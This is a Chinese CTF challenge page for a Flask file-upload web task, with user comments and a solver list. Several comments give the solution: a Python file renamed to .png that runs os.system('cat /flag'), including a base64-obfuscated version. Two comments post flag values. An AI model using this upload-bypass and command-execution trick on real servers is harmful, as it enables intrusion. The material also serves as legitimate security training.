Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12597
提  示:
描  述:
Flask_FileUpload
评论
merrymu 8月前

Python的os库是标准库中用于操作系统交互的核心模块,提供文件/目录操作、路径处理、进程管理等功能,实现跨平台系统调用‌。其全称是Operating System,通过封装底层接口简化与文件系统、环境变量等交互的复杂性。‌‌F12查看源码

回复 1

ding0520 8月前

检查原代码,发现上传文件限制条件是png格式,且用python代码。可以用os库破解系统里面的文件。 新建txt文件,第一行写import os ,第二行写os.system('cat /flag') ,另存为png格式文件,提交上传后,F12查看原代码,就有flag了

回复 0

zhuizhui 8月前

import os import base64 cmd = base64.b64decode("Y2F0IC9mbGFn").decode() # "cat /flag" os.system(cmd)

回复 0

breeding 9月前

不是很难,但比起题目我更想知道什么情况下才会用python去执行上传的文件?

回复 0

HK1ng 11月前

随便传一个jpg试一试,查看源码 发现提示会通过python执行,然后返回给我们,写个python脚本,看一下返回值,import os os.system('ls /') 然后看到根目录下有flag。cat读flag即可。

回复 0

chaojiikun 1年前

os.system()执行命令

回复 0

tkStar 1年前

先看源码,只检查了后缀是png,上传包含系统命令的python文件,后缀改成png就行

回复 0

2808476708 1年前

flag{abe11096bb1215a2a5f8696f4ab98f1f}

回复 0

yvonne 1年前

import os 换行 os.system()

回复 0

1uxu4y 1年前

flag{a04e45c0960f5413e9847ea5d666d5d5}

回复 0

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

1211020612 攻破了该题 10小时前
H8Y8H 攻破了该题 12小时前
dyh1213 攻破了该题 2天前
w111 攻破了该题 3天前
2234223561 攻破了该题 3天前
ethicalpaws 攻破了该题 4天前
十里故清云 攻破了该题 7天前
DamonLee 攻破了该题 7天前
Epicdusk 攻破了该题 8天前
SUPER_LEON 攻破了该题 8天前
xqy520 攻破了该题 9天前
Anna-july 攻破了该题 9天前
DeciduousValley 攻破了该题 9天前
Newdap 攻破了该题 10天前
1907104474 攻破了该题 12天前
liqs 攻破了该题 13天前
银海狼鲨 攻破了该题 14天前
aaa想吃香菜 攻破了该题 14天前
听风说话 攻破了该题 14天前
yunlongli 攻破了该题 15天前
问题反馈